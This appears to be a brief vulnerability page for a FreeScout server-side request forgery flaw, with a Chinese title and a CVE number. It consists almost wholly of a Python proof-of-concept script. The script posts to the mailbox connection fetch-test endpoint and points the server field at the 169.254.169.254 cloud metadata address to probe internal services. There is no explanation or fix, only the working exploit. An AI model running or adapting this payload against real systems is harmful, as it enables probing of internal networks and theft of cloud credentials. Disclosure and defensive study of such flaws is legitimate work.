CVE-2026-40566 FreeScout存在服务端请求伪造漏洞

import requests # Target URL configuration target_url = "http://localhost" login_url = f"{target_url}/login" test_url = f"{target_url}/mailboxes/connection/incoming/fetch-test" session = requests.Session() # 1. Authenticate as Admin (Credentials required) # login_data = {"_token": "", "email": "[email protected]", "password": "password"} # session.post(login_url, data=login_data) # 2. Prepare SSRF payload # Target internal metadata service or internal port internal_target = "169.254.169.254" internal_port = 80 headers = { "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" } # 3. Construct request data # Note: A valid CSRF token is required in the _token field data = { "_token": "VALID_CSRF_TOKEN_HERE", "in_server": internal_target, "in_port": internal_port, "in_encryption": "none" } # 4. Send exploit request response = session.post(test_url, headers=headers, data=data) print(f"Status Code: {response.status_code}") print("Response Data:") print(response.json()) # 5. Analyze the 'log' field in response for service banners or connection errors